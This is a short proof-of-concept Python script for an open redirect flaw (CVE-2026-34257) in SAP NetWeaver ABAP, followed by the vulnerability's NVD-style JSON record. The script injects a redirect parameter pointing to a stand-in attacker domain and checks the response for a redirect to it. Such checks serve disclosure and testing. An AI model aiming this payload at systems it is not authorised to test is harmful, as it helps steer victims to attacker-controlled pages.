CVE-2026-34257

# Proof of Concept for CVE-2026-34257 import requests def check_open_redirect(target_url): # Malicious domain controlled by attacker malicious_site = "http://attacker-example.com" # Payload attempting to trigger the redirect # Note: The specific parameter name (e.g., 'url', 'redirect', 'target') depends on the vulnerable endpoint payload = f"?redirect={malicious_site}" full_url = target_url + payload try: response = requests.get(full_url, allow_redirects=False, timeout=5) # Check for 301/302 status codes and if Location header points to the malicious site if response.status_code in [301, 302, 307, 308]: location = response.headers.get('Location', '') if malicious_site in location: print(f"[+] Vulnerability Confirmed!") print(f" Target: {target_url}") print(f" Redirecting to: {location}") return True print(f"[-] Not vulnerable or payload incorrect.") return False except Exception as e: print(f"Error: {e}") if __name__ == "__main__": # Replace with actual vulnerable endpoint target = "http://vulnerable-sap-server.com/sap/bc/webdynpro_abap/..." check_open_redirect(target)

{"cve": {"id": "CVE-2026-34257", "sourceIdentifier": "[email protected]", "published": "2026-04-14T01:16:03.730", "lastModified": "2026-04-17T15:18:16.507", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Due to an Open Redirect vulnerability in SAP NetWeaver Application Server ABAP, an unauthenticated attacker could craft malicious URL that, if accessed by a victim, they could be redirected to the page controlled by the attacker. This causes low impact on confidentiality and integrity of the application with no impact on availability."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-601"}]}], "references": [{"url": "https://me.sap.com/notes/3692004", "source": "[email protected]"}, {"url": "https://url.sap/sapsecuritypatchday", "source": "[email protected]"}]}}